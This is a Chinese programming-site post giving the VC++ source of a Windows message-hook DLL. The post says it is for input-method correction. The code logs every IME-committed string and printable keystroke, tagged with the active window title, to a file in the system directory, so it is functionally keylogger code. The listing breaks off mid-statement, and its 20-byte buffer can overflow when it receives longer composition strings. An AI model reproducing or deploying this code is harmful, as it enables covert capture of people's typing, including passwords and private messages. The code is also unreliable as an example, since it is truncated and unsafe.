VC++截取输入法输入信息钩子dll实现
我们在实现输入法的智能纠正的时候,需要获取输入法输入的信息,如何实现呢,钩子如下[cpp]
#include "windows.h"
#include "imm.h"
#include "stdio.h"
//#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
char title[256]; //获得窗口名字
char *ftemp; //begin/end 写到文件里面
char temptitle[256]="<<标题:"; //<<标题:窗口名字>>
char t[2]={0,0}; //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
FILE* f1;
char cmd[256];
GetSystemDirectory(cmd,256);
strcat(cmd,"\\hooktxt.txt");
f1=fopen(cmd,"a+");
fwrite(lpstr,strlen(lpstr),1,f1);
fclose(f1);
}
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd != FocusWnd)
{
ftemp="\n---------End----------\n";
writefile(ftemp);
ftemp="\n--------begin---------\n";
writefile(ftemp);
GetWindowText(FocusWnd, title, 256); //当前窗口标题
LastFocusWnd = FocusWnd;
strcat(temptitle,title);
strcat(temptitle,">>\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。
writtitle(); //保存当前窗口
writefile(lpstr); //保存为文件
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31) //控制字符
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
s
补充:软件开发 , Vc ,
上一个:VC++编译 常见错误
下一个:VC++实现host文件读写
- 更多VC++疑问解答:
- VC++ 算法。
- MFC CListCtrl获取列数出错了,怎么回事?
- 谁有VC++6.0企业版中文版的下载地址
- vc++,关于TextOut的一个小问题
- 定义一个三维的CStringArray//一定要使用CArray模板?那操作的时候,使用那个类的函数对数组进行操作呢?
- 关于mfc消息映射的问题
- MFC中用TextOut输出的问题
- 请问如何在VC6.0里MFC下对万年历进行编程
- iArray.Add(iValue);//Add函数的参数不可以用CArray模板???
- 'USES_CONVERSION' : undeclared identifier;'A2W' : undeclared identifier
- vc6.0能不能用CImage,能的话给个例子,以及atlimage.h,
- VC 对话框 标题栏 怎么变成这个样子????如图!
- spin控件的UDN_DELTAPOS消息//下面代码什么作用? [
- VC修改DNF
- vc 套接字 struct